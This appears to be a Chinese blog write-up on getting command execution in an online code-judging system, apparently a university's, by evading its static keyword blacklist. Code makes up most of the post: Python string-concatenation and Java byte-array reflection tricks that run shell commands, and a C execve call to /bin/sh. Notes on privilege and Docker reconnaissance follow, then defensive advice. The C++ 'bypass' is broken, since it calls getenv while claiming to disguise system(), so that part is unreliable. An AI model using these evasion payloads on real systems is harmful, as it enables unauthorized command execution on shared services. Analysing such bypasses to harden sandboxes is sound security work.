不是哥们,北大被"RCE"了?
字数 805 2025-08-29 22:41:44
绕过在线编程系统命令执行限制的技术分析
漏洞背景
本文分析了一个在线编程系统(类似PTA系统)的命令执行漏洞,该系统允许用户提交代码解决编程问题,但存在绕过安全限制执行系统命令的可能性。
漏洞发现过程
- 通过信息收集定位到目标系统(在线编程评测系统)
- 系统允许用户注册并提交代码解题
- 预期行为是用户提交代码输出特定结果(如"hello world")
- 实际发现可以通过代码构造执行系统命令
Python绕过技术
初始尝试
__import__('os').system('ls /')
被静态检测机制拦截,原因是直接使用了os模块
绕过方法
- 字符串拼接:
my_os = 'o' + 's'
__import__(my_os).system('ls /')
- 编码绕过:
可以使用其他编码方式构造敏感字符串
检测机制分析
- 静态黑名单检测(非动态检测)
- 在代码执行前检查特定危险关键字
- 仅拦截特定关键字而非所有危险操作
其他语言绕过技术
Java绕过
import java.util.Scanner;
public class Main {
public static void main(String[] args) throws Exception {
Class<?> runtimeClass = Class.forName(new String(new byte[] {
106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101
}));
Object runtimeInstance = runtimeClass.getMethod(new String(new byte[] {
103, 101, 116, 82, 117, 110, 116, 105, 109, 101
})).invoke(null);
Process process = (Process) runtimeClass.getMethod(new String(new byte[] {
101, 120, 101, 99
}), String.class).invoke(runtimeInstance, new String(new byte[] {
108, 115
}));
new Scanner(process.getInputStream()).useDelimiter("\\A").forEachRemaining(System.out::println);
}
}
原理:使用字节数组动态构造敏感字符串(如java.lang.Runtime、getRuntime、exec等)
C语言绕过
#include <unistd.h>
int main() {
char *args[] = {"/bin/sh", "-c", "ls /", NULL};
execve("/bin/sh", args, NULL);
return 0;
}
原理:使用execve系统调用而非常见的system函数
C++绕过
#include <cstdlib>
int main() {
char s[] = {115, 121, 115, 116, 101, 109, 0};
int (*func)(const char*) = (int (*)(const char*))std::getenv("PATH");
*(void**)&func = (void*)std::getenv;
return func("ls /");
}
原理:通过修改函数指针地址,伪装system函数
环境分析与限制
-
权限检查:
whoami显示低权限用户- 许多常规命令无法执行
-
容器环境:
- 存在
/.dockerenv文件 - 确认是Docker环境
- Docker逃逸尝试失败(权限不足或环境严格受限)
- 存在
防御建议
-
改进检测机制:
- 实现动态分析而非静态关键字检测
- 监控进程创建和系统调用
-
沙箱强化:
- 使用更严格的容器隔离
- 限制系统调用
- 降低权限
-
输入验证:
- 对用户代码进行更全面的语法分析
- 限制危险API的使用
-
运行时监控:
- 检测异常行为(如尝试执行shell命令)
结论
该漏洞展示了在线编程系统中命令执行限制被绕过的典型案例,虽然最终获得的权限有限且无法逃逸容器环境,但仍揭示了此类系统的潜在安全风险。防御此类攻击需要多层安全措施的组合。